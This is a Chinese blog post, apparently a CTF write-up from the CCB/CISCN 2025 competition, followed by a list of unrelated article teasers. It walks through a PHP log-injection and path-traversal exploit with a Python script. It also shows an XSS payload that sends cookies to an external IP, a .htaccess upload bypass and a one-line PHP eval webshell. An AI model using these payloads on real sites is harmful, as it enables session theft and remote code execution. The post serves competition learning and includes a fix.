当前位置：首页 > news >正文

CCBCISCN复盘

news 来源：原创 2025/8/5 12:51:32

AWDP – ccfrum

自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜
如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给制作了一下镜像保存了一下, 但我自己并没有去拉取下来看看是否可行, 不过应该是没问题的吧, 毕竟我是复现完把日志删了之后直接就保存下来的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay扫描一下源码

主要关注config.php和admin.php存在 file_get_contents() 和 file_put_contents()函数

在这里插入图片描述

那么最终可以预想就是想办法利用file_get_contents() 任意读文件

通过审计代码

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

会读取日志文件, 以换行符分割每一行

foreach ($log_lines as $line) {if (empty($line)) {continue;}$parts = explode(',', $line);if (count($parts) < 5) {continue;}$encoded_user = $parts[1];$action = $parts[2];$success = (int) $parts[3];$additional_info = $parts[4];if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} else {$failed_logs[] = $additional_info;}}
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {$banned_dir = "/var/www/banned/{$encoded_user}";if (file_exists($banned_dir)) {$files = scandir($banned_dir);// var_dump($files);foreach ($files as $file) {if ($file !== '.' && $file !== '..') {$file_path = $banned_dir . '/' . $file;$content = file_get_contents($file_path);$banned_contents[$username][] = $content;}}}
}

如果action为 record_banned, $success == 1
那么就会遍历编码后的用户名下的所有文件, 将他们读取出来显示

<?php foreach ($contents as $content): ?><pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要构造的一个payload就是

,../../../,record_banned,1,

但是这里没有什么可控的变量, 还需要通过日志文件来利用

function log_action($username, $action, $succ, $additional = '')
{$log_id = uniqid();$e_username = encode_uname($username);$log_line = sprintf("%s,%s,%s,%d,%s\n",$log_id,$e_username,$action,$succ,$additional);file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

写入日志文件的内容有

$log_id: uniqid() 不可控
$e_username = encode_uname($username); base64编码后的用户名, 不好控制为 ../进行目录穿越
$action, 相要利用必须为record_banned, 不可控
$succ 相要利用必须1, 也是不可控
$additional, 默认为空, 也没啥限制, 所以就需要想办法控制这个变量

再查找有哪里调用了log_action这个函数

function record_banned($username, $banned)
{$e_username = encode_uname($username);$banned_dir = "/var/www/banned/{$e_username}";$created = true;if (!file_exists($banned_dir)) {$created = mkdir($banned_dir, 0750);}$log = "";$succ = 1;if (!$created) {$succ = 0;$log = "Failed to create record directory for " . $username;} else {$filename = $banned_dir . '/' . time() . '.txt';if (!file_put_contents($filename, $banned)) {$succ = 0;$log = "Failed to record banned content";}}log_action($username, 'record_banned', $succ, $log);
}

可控的是变量$additional这里传参的是$log
它的值有三种

$log = "";
$log = "Failed to create record directory for " . $username;
$log = "Failed to record banned content";

唯一能够想办法控制的就是$username

要想办法达到这个条件就需要无法创建成功目录

$created = mkdir($banned_dir, 0750);

mkdir在创建目录的时候无法创建多重目录

也就是创建的目录名不能带有 / 那么就需要让base64编码后的用户名带上/就无法创建成功了

前面也已经知道读取的日志文件会以\n分割来生成每一行

$log_lines = explode("\n", $action_log);

而且也会遍历每一行, 以,分割每一部分, 取第二部分, 遍历该目录下的文件, 读取出来

foreach ($log_lines as $line)

$parts = explode(',', $line);if (count($parts) < 5) {continue;}

$encoded_user = $parts[1];

if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;}

$banned_dir = "/var/www/banned/{$encoded_user}";

$files = scandir($banned_dir);

$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以这里的用户名就是

???%0a,../../../,record_banned,1,

在这里插入图片描述

在这里就已经可以知道需要注册这样一个用户名了

还需要找到在哪里可以调用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {$title = $_POST['title'] ?? '';$content = $_POST['content'] ?? '';$username = $_SESSION['username'];if (has_sensitive_words($title) || has_sensitive_words($content)) {record_banned($username, $title . "|" . $content);die("Post contains sensitive words");}

需要让has_sensitive_words返回true

function has_sensitive_words($content)
{$SENSITIVE_WORDS = ['敏感词', 'SENSITIVE WORDS',];foreach ($SENSITIVE_WORDS as $word) {if (stripos($content, $word) !== false) {return true;}}return false;
}

也就是说title或者content其中有一个存在敏感词或者 SENSITIVE WORDS 就可以满足条件

到这里所有的前提条件都已经知道了, 就可以开始构造payload了

步骤

先注册账户, 构造特定的用户名
用特定的用户名登录, 到post.php路由发送相应的信息
再以管理员的账号密码登录, 进入到admin.php, 即可查看到flag

管理员的账号密码可以爆破得出 admin / password

可以看得到日志里面已经写入的,../../../,record_banned,1,

在这里插入图片描述

通过管理员用户访问admin.php下可以看到读取的文件

在这里插入图片描述

from requests import Sessionbasic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}def register(sess: Session):resp = sess.post(basic + "/register.php", data=data)def login(sess: Session):resp = sess.post(basic + "/login.php", data=data)def post(sess: Session):data1 = {"title": "敏感词","content": "tset",}resp = sess.post(basic + "/post.php", data=data1)if __name__ == "__main__":sess = Session()register(sess)login(sess)post(sess)

所以这道题目的修复方法可以将编码的函数改成md5加密, 就无法阻止mkdir创建目录失败, 也就无法利用可控参数username了

function encode_uname($username)
{return base64_encode($username);
}

参考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考点: xss+文件上传

一天的比赛 ,就这一个成果, 唉

dirsearch 扫描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜测是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在这里插入图片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是为了拿到上传的文件的路径

然后继续之前提交信息处可以上传图片, 文件上传绕过

上传 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg

<?php eval("$_POST[1]")?>

在这里插入图片描述后面一个多小时一直在尝试内网渗透方面, 可惜缺乏经验, 太菜了, 没有收获

CCBCISCN复盘

AWDP – ccfrum 自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给…...

编程日记 2025/8/5 12:51:32

【C++】八大常见的设计模式的实现与实践指南

目录创建型模式单例模式工厂方法模式抽象工厂模式结构型模式适配器模式装饰者模式代理模式行为型模式观察者模式策略模式命令模式高级主题现代C特性影响模式性能对比典型应用案例设计模式分类一、创建型模式 1. 单例模式（Singleton） 现代…...

编程日记 2025/8/1 20:51:07

OpenEMMA: 基于多模态大语言模型的端到端开源自动驾驶框架

OpenEMMA: 基于多模态大语言模型的端到端开源自动驾驶框架创新点 OpenEMMA 将前置摄像头图像和车辆历史文本状态作为输入。驾驶任务被构建为视觉问答（VQA）问题，利用思维链推理来指导模型生成关键物体的详细描述、行为洞察和元驾驶决策。这…...

编程日记 2025/8/5 12:50:47

kali，NTFS，用户管理，文件共享，本地安全策略，计算机基础

kali更新源 vim /etc/apt/sources.list 优质源中科大Kali镜像源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib阿里云Kali镜像源deb http://mirrors.aliyun.com…...

编程日记 2025/8/5 12:51:31

零基础上手Python数据分析 (7)：Python 面向对象编程初步

写在前面回顾一下，我们已经学习了 Python 的基本语法、数据类型、常用数据结构和文件操作、异常处理等。到目前为止，我们主要采用的是面向过程 (Procedural Programming) 的编程方式，即按照步骤一步一步地编写代码，解决问题。这种方式对于简单的任务已经足够，但当程序…...

编程日记 2025/8/5 12:48:26

基于深度学习的皮肤癌智能检测与语音提示系统【python源码+Pyqt5界面+数据集+训练代码】

《------往期经典推荐------》一、AI应用软件开发实战专栏【链接】项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…...

编程日记 2025/7/29 12:56:25

脚本一键式启动Nginx、Mysql、Redis

此脚本包含拉取镜像、数据卷挂载、容器启动三大部分，可一键式安装三大环境新建一个depoy.sh文件在服务器上，然后复制以下内容。给脚本文件添加执行权限 chmod x depoy.sh # 文件的当前目录下如果需要修改数据库MYSQL密码和Reids密码 MYSQL_ROO…...

编程日记 2025/8/1 17:00:13

蓝桥杯备赛-DFS-有奖问答

问题描述小蓝正在参与一个现场问答的节目。活动中一共有 3030 道题目, 每题只有答对和答错两种情况, 每答对一题得 1010 分，答错一题分数归零。小蓝可以在任意时刻结束答题并获得目前分数对应的奖项，之后不能再答任何题目。最高奖项需要 100100 分, …...

编程日记 2025/8/5 12:50:03

[AI速读]CHISEL vs. SystemVerilog：用RISC-V核心对比两种硬件设计语言

在硬件设计领域，选择合适的语言对开发效率、维护成本和最终性能都至关重要。最近，一项研究对比了两种硬件描述语言——CHISEL（基于Scala的嵌入式语言）和传统的SystemVerilog，它们分别实现了同一款RISC-V核心（SweRV-EL2）。以下是关键发现和结论。为什么选择CHISEL？ CHI…...

编程日记 2025/7/23 18:06:45

PHP PSR（PHP Standards Recommendations）介绍

PHP PSR（PHP Standards Recommendations）是 PHP 社区制定的一系列标准化规范，旨在统一 PHP 代码的编写方式、接口设计和开发实践，以提高代码的可读性、可维护性和互操作性。以下是核心 PSR 标准的解读和具体使用方法： …...

编程日记 2025/8/4 1:29:32

字节跳动实习生主导开发强化学习算法，助力大语言模型性能突破

目录禹棋赢的背景与成就主要成就 DAPO算法的技术细节算法优势禹棋赢的研究历程关键时间节点字节跳动的“Top Seed人才计划” 计划特点小编总结在大模型时代，经验不再是唯一的衡量标准，好奇心、执行力和对新技术的敏锐洞察力成为推动技术…...

编程日记 2025/7/30 7:48:30

Java并发编程面试题：锁（17题）

🧑 博主简介：CSDN博客专家，历代文学网（PC端可以访问：https://literature.sinhy.com/#/?__c1000，移动端可微信小程序搜索“历代文学”）总架构师，15年工作经验，精通Java编…...

编程日记 2025/8/1 19:04:55

各类神经网络学习：（四）RNN 循环神经网络（下集），pytorch 版的 RNN 代码编写

上一篇下一篇RNN（中集）待编写代码详解 pytorch 官网主要有两个可调用的模块，分别是 nn.RNNCell 和 nn.RNN ，下面会进行详细讲解。 RNN 的同步多对多、多对一、一对多等等结构都是由这两个模块实现的，只需要将对输入…...

编程日记 2025/8/5 12:48:02

【python】OpenCV—Hand Landmarks Detection

文章目录 1、功能描述2、代码实现3、效果展示4、完整代码5、涉及到的库函数6、参考更多有趣的代码示例，可参考【Programming】 1、功能描述基于 opencv-python 和 mediapipe 实现手部关键点的检测（无法检测出手，不过可以根据关键点的信息外…...

编程日记 2025/8/4 9:17:54

C++和标准库速成(十)——类型别名、类型定义、类型推断和标准库简介

目录 1. 类型别名2. 类型定义(不建议)3. 类型推断3.1 auto3.1.1 auto&3.1.2 auto*3.1.3 拷贝列表初始化和直接列表初始化 3.2 decltype 4. 标准库简介参考 1. 类型别名类型别名为现有的类型声明提供新名称。可以将类型别名视为用于为现有类型声明引入同义词而无须创建新类…...

编程日记 2025/7/30 21:54:51

Java JMX 未授权访问漏洞分析与修复指南

#作者：张桐瑞文章目录一、漏洞背景二、漏洞描述三、漏洞影响四、修复方案1. 禁用远程JMX访问：2. 配置JMX访问权限： 一、漏洞背景 Java管理扩展（Java Management Extensions，简称JMX）是Java平台的管理和…...

编程日记 2025/8/3 1:18:23

挂谷问题与挂谷猜想：从平面转针到高维拓扑

挂谷问题与挂谷猜想：从平面转针到高维拓扑目录挂谷问题的起源数学定义与基本性质研究进展挂谷集合与挂谷猜想王虹与Joshua Zahl的突破意义与影响挂谷问题的起源 1917年，日本数学家挂谷宗一(かけやそういち Soichi Kakeya，1886-1947)提…...

编程日记 2025/8/5 12:50:48

区块链智能合约安全 | 整型溢出漏洞

目录： 核心概念溢出类型上溢原理案例下溢原理案例练习漏洞修复使用 SafeMath 库（旧版本） 升级 Solidity 版本（≥0.8.0） 地址：zkanzz 整型溢出漏洞（Integer Overflow/Underflow Vulne…...

编程日记 2025/8/5 12:48:24

C# HTTP 文件上传、下载服务器

程序需要管理员权限，vs需要管理员打开首次运行需要执行以下命令注册URL（管理员命令行） netsh advfirewall firewall add rule name"FileShare" dirin actionallow protocolTCP localport8000 ipconfig | findstr "IPv4&quo…...

编程日记 2025/7/21 12:29:04

IDEA导入jar包后提示无法解析jar包中的类，比如无法解析符号 ‘log4j‘

IDEA导入jar包后提示无法解析jar包中的类问题描述解决方法问题描述 IDEA导入jar包的Maven坐标后，使用jar中的类比如log4j，仍然提示比如无法解析符号 log4j。解决方法在添加了依赖和配置文件后，确保刷新你的IDE项目和任何缓存&#xff…...

编程日记 2025/8/5 12:50:00

C++前缀和

个人主页：[PingdiGuo_guo] 收录专栏：[C干货专栏] 大家好，今天我们来了解一下C的一个重要概念：前缀和目录 1.什么是前缀和 2.前缀和的用法 1.前缀和的定义 2.预处理前缀和数组 3.查询区间和 4.数组中某个区间的和是否为特定…...

编程日记 2025/7/29 9:48:14

kafka压缩

最近有幸公司参与kafka消息压缩，背景是日志消息量比较大。kafka版本2.4.1 一、确认压缩算法根据场景不同选择不同。如果是带宽敏感患者推荐高压缩比的zstd，如果是cpu敏感患者推荐lz4 lz4和zstd底层都使用的是lz77算法，具体实现逻辑不同&am…...

编程日记 2025/8/5 12:48:03

C 语言 --- 扫雷游戏(初阶版)

C 语言 --- 扫雷游戏初阶版代码全貌与功能介绍扫雷游戏的功能说明游戏效果展示游戏代码详解game.htest.cgame.c 总结 💻作者简介：曾与你一样迷茫，现以经验助你入门 C 语言 💡个人主…...

编程日记 2025/8/3 8:01:50

黑鲨外设2025春季新品发布会：全球首款“冷暖双控”鼠标亮相！

据可靠消息称，电竞外设领域的创新引领者——黑鲨外设，正式官宣将于2025年3月28日17:00召开主题为“究极体验，竞在其中”春季新品发布会。据悉，此次新品发布会将于黑鲨游戏外设和黑鲨游戏手机官方平台同步直播，&#xf…...

编程日记 2025/8/5 12:48:02

SpringBoot-MVC配置类与 Controller 的扫描

文章目录前言一、自动配置类位置二、自动配置类解析2.1 WebMvcAutoConfiguration2.1.1 EnableWebMvcConfiguration 2.2 DispatcherServletAutoConfiguration 三、RequestMapping 的扫描过程3.1 RequestMappingHandlerMapping#afterPropertiesSet3.2 RequestMappingHandlerMapp…...

编程日记 2025/8/5 12:51:30

Nexus L2 L3基本配置

接口基本配置 N7K上所有端口默认处于shutdown状态; N5K上所有端口默认处于no shutdown状态(所有端口都是switchport) 默认所有接口都是三层route模式, 只有当线卡不支持三层的时候, 接口才会处于二层switchport模式 show run all | in “system default” 创建SVI口需要提前打…...

编程日记 2025/8/5 12:50:48

asp.net 4.5在医院自助系统中使用DeepSeek帮助医生分析患者报告

环境： asp.net 4.5Visual Studio 2015本地已经部署deepseek-r1:1.5b 涉及技术 ASP.NET MVC框架用于构建Web应用程序。使用HttpWebRequest和HttpWebResponse进行HTTP请求和响应处理。JSON序列化和反序列化用于构造和解析数据。SSE（服务器发送事件&#xf…...

编程日记 2025/8/5 8:02:12

LCCI ESG 中英联合认证国际分析师适合的岗位

LCCI ESG中英联合认证国际分析师领域热门岗位大揭秘！🌍 大家好！今天我们来探讨LCCI ESG中英联合认证国际分析师领域的热门岗位，看看是否有适合你的选择。 1️⃣ LCCI ESG中英联合认证国际分析师报告专员：主要负责编制…...

编程日记 2025/7/30 19:29:06

AGI成立的条件

AGI（通用人工智能）的成立需满足多项核心条件，这些条件既涵盖技术能力层面的突破，也涉及伦理与认知维度的考量。一、通用性与多任务处理能力跨领域泛化能力 AGI需具备类似人类的通用性，能够灵活切换不同领域&#xf…...

编程日记 2025/7/26 12:30:54

论文阅读：2023 EMNLP SeqXGPT: Sentence-level AI-generated text detection

总目录大模型安全相关研究：https://blog.csdn.net/WhiffeYF/article/details/142132328 SeqXGPT: Sentence-level AI-generated text detection https://aclanthology.org/2023.emnlp-main.73/ https://github.com/Jihuai-wpy/SeqXGPT https://www.doubao.com/…...

编程日记 2025/8/5 8:27:04

解决python配置文件类configparser.ConfigParser，插入、读取数据，自动转为小写的问题

配置类 [Section1] Key_AAA Value[Section2] AnotherKey Value默认情况下，ConfigParser会将ini配置文件中的KEY，转为小写。重载后配置类： 继承类从configparser.ConfigParser改为configparser.RawConfigParser重载方法optionxform&#…...

编程日记 2025/7/21 12:23:29

超图神经网络的详细解析与python示例

扩展传统集合关系至超边结构，处理高阶交互问题。有关人工智能的数学基础之逻辑、集合论和模糊理论：看我文章人工智能的数学基础之逻辑、集合论和模糊理论-CSDN博客一、超图神经网络概述超图神经网络（Hypergraph Neural Network&#xff0…...

编程日记 2025/7/31 17:13:39

机器视觉中图像的腐蚀和膨胀是什么意思？它能用来做什么？

腐蚀（Erosion）和膨胀（Dilation）是两种基本的形态学操作，通常用于二值图像（黑白图像）的处理。它们是形态学图像处理的基础，广泛应用于图像分割、边缘检测、噪声去除等任务。 1…...

编程日记 2025/7/30 23:47:21

破局 MySQL 死锁：深入理解锁机制与高效解决方案

死锁的原理 1. 什么是死锁？ 当多个事务在并发执行时，每个事务都持有其他事务需要的锁，同时又在等待对方释放锁，导致所有事务都无法继续执行的状态，称为死锁（Deadlock）。 2. 死锁的四个必要…...

编程日记 2025/7/28 3:43:03

机器学习——分类、回归、聚类、LASSO回归、Ridge回归（自用）

纠正自己的误区：机器学习是一个大范围，并不是一个小的方向，比如：线性回归预测、卷积神经网络和强化学都是机器学习算法在不同场景的应用。机器学习最为关键的是要有数据，也就是数据集名词解释：数据集中的…...

编程日记 2025/8/2 17:20:07

脚本语言 Lua

概念 Lua由标准C编写而成，几乎在所有操作系统和平台上都可以编译、运行。Lua脚本可以很容易地被C/C 代码调用，也可以反过来调用C/C的函数，这使得Lua在应用程序中可以被广泛应用。Lua并没有提供强大的库，它是不适合作为开发独立应…...

编程日记 2025/8/5 12:29:33

Spring相关面试题

目录 Spring中常用的注解有哪些 Spring Boot中RestController和Controller注解有什么区别？ Spring的注解requestBody和responseBody的区别说说Bean和componentscan的区别简单介绍一下springboot Spring Boot有哪些常用的Starter依赖？ 说说sprin…...

编程日记 2025/8/4 15:16:18

Python学习- 数据结构类型

一. list list_data [10, 20, 30]列表：是一个不限制类型，可增加，修改，删除的数据类型可操作的方法：append，extend, pop，del ，insert append: 可向list最后一个位置添加一个元…...

编程日记 2025/8/2 22:54:23

Azure Delta Lake、Databricks和Event Hubs实现实时欺诈检测

设计Azure云架构方案实现Azure Delta Lake和Azure Databricks，结合 Azure Event Hubs/Kafka 摄入实时数据，通过 Delta Lake 实现 Exactly-Once 语义，实时欺诈检测（流数据写入 Delta Lake，批处理模型实时更新&#xff0…...

编程日记 2025/8/3 5:31:53

【从零开始学习计算机科学】软件测试（十）嵌入式系统测试、游戏开发与测试过程、移动应用软件测试与云应用软件测试

【从零开始学习计算机科学】软件测试（十）嵌入式系统测试、游戏开发与测试过程、移动应用软件测试与云应用软件测试嵌入式系统测试测试策略及测试流程嵌入式软件测试问题及测试方法嵌入式软件的测试流程游戏开发与测试过程游戏开发与通用软件的开发过程区别游戏测试主要内容…...

编程日记 2025/7/28 1:21:03

C#零基础入门篇(18. 文件操作指南)

## 一、文件操作基础在C#中，文件操作主要通过System.IO命名空间中的类来实现，例如File、FileStream、FileInfo等。 ## 二、常用文件操作方法 ### （一）文件读取 1. **使用File.ReadAllText方法读取文件内容为字符串** …...

编程日记 2025/8/2 13:41:29

深入探究 JVM 堆的垃圾回收机制（一）— 判活

垃圾回收分为两步：1）判定对象是否存活。2）将“消亡”的对象进行内存回收。 1 判定对象存活可达性分析算法：通过一系列“GC Roots”对象作为起始节点集，从这些节点开始，根据引用关系向下搜索，…...

编程日记 2025/8/4 14:41:57

SQL优化主要有哪些方式

对经常查询的区分度高的条件字段建立索引，也就是用在where条件里的字段。使用没有建立索引的非主键字段作为条件查询时，会进行全表扫描，因为这个字段的数据分步是不规律的，但是需要避免在频繁更新的字段上建立索引，因为…...

编程日记 2025/7/31 7:51:40

基于Spring Boot的公司资产网站的设计与实现（LW+源码+讲解）

专注于大学生项目实战开发,讲解,毕业答疑辅导，欢迎高校老师/同行前辈交流合作✌。技术范围：SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。主要内容：…...

编程日记 2025/8/3 5:39:06

笔记本电脑关不了机是怎么回事这有解决方法

在快节奏的现代生活中，笔记本电脑已成为我们工作、学习和娱乐的得力助手。在使用电脑的过程中，笔记本电脑突然关不了机了，怎么回事？下面驱动人生就来讲一讲笔记本电脑不能正常关机的解决方法，有需要的可以来看看。一、…...

编程日记 2025/8/4 20:51:08

OSPF 协议详解：从概念原理到配置实践的全网互通实现

什么是OSPF OSPF（开放最短路径优先）是由IETF开发的基于链路状态的自治系统内部路由协议，用来代替存在一些问题的RIP协议。与距离矢量协议不同，链路状态路由协议关心网络中链路活接口的状态（包括UP、DOWN、IP地址、掩码…...

编程日记 2025/8/1 1:33:20

【C++】多态

目录文章目录前言一、多态的概念二、多态的定义及实现三、重载/重写/隐藏的对比四、纯虚函数和抽象类五、多态的原理总结前言本文主要讲述C中的多态，涉及的概念有虚函数、协变、纯虚函数、抽象类、虚表指针和虚函数表等。一、多态的概念多态分…...

编程日记 2025/8/1 17:01:51

CentOS 8 停止维护后通过 rpm 包手动安装 docker

根据 Docker官方文档的指引，进入 Docker rpm 包下载的地址，根据自己系统的架构和具体版本选择对应的路径这里使用 Index of linux/centos/7/x86_64/stable/ 版本，根据 docker 官方的给出的安装命令选择性的下载对应的 rpm 包最终使用 yum …...

编程日记 2025/7/29 15:40:12

STT-MRAM CIM 赋能边缘 AI：高性能噪声鲁棒贝叶斯神经网络宏架构详解

引言近年来，基于卷积神经网络（CNN）和视觉转换器（ViT）的存算一体（CIM）边缘AI设备因其低延迟、高能效、低成本等性能受到越来越广泛的关注。然而，当环境中存在噪声时（例如…...

编程日记 2025/8/1 5:44:03

Performance Hub Active Report

Performance Hub 是 Oracle Enterprise Manager Database Express （EM Express） 中的一项功能，可提供给定时间范围内所有性能数据的新整合视图。用户可以使用 Database Express 页面顶部的时间选择器选择时间范围，详细信息选项卡将…...

编程日记 2025/8/4 10:36:20

AWDP – ccfrum

ISW – CCB2025

相关文章：